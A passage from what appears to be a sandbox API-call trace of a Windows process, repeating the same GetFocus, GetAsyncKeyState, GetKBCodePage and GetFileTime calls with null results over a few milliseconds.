lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.500] GetAsyncKeyState (vKey=58) returned 0 [0255.500] GetKBCodePage () returned 0x1b5 [0255.500] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.500] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.501] GetFocus () returned 0x0 [0255.501] GetAsyncKeyState (vKey=58) returned 0 [0255.501] GetKBCodePage () returned 0x1b5 [0255.501] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.502] GetFocus () returned 0x0 [0255.502] GetAsyncKeyState (vKey=58) returned 0 [0255.502] GetKBCodePage () returned 0x1b5 [0255.502] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.503] GetAsyncKeyState (vKey=58) returned 0 [0255.503] GetKBCodePage () returned 0x1b5 [0255.503] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.503] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.504] GetFocus () returned 0x0 [0255.504] GetAsyncKeyState (vKey=58) returned 0 [0255.504] GetKBCodePage () returned 0x1b5 [0255.504] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.505] GetFocus () returned 0x0 [0255.505] GetAsyncKeyState (vKey=58) returned 0 [0255.505] GetKBCodePage () returned 0x1b5 [0255.505] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, 